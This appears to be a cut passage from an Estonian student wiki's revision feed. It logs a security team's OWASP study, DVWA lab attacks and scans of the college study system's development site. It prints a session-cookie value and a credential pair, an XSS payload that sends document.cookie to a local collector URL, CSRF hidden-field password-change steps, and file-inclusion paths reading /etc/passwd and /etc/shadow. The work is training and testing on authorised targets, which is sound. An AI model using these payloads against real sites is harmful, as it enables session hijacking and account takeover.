  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno&amp;lt;br&amp;gt;&lt;br /&gt;
Urmo Lihten&amp;lt;br&amp;gt;&lt;br /&gt;
Taavi Podžuks&amp;lt;br&amp;gt;&lt;br /&gt;
Matis Alliksoo&amp;lt;br&amp;gt;&lt;br /&gt;
Sander Saarm&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47001</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47001"/>
		<updated>2012-03-30T09:25:04Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* 1. päev - Materjalidga tutvumine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidga tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]]&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:&lt;br /&gt;
&lt;br /&gt;
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id)&lt;br /&gt;
Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
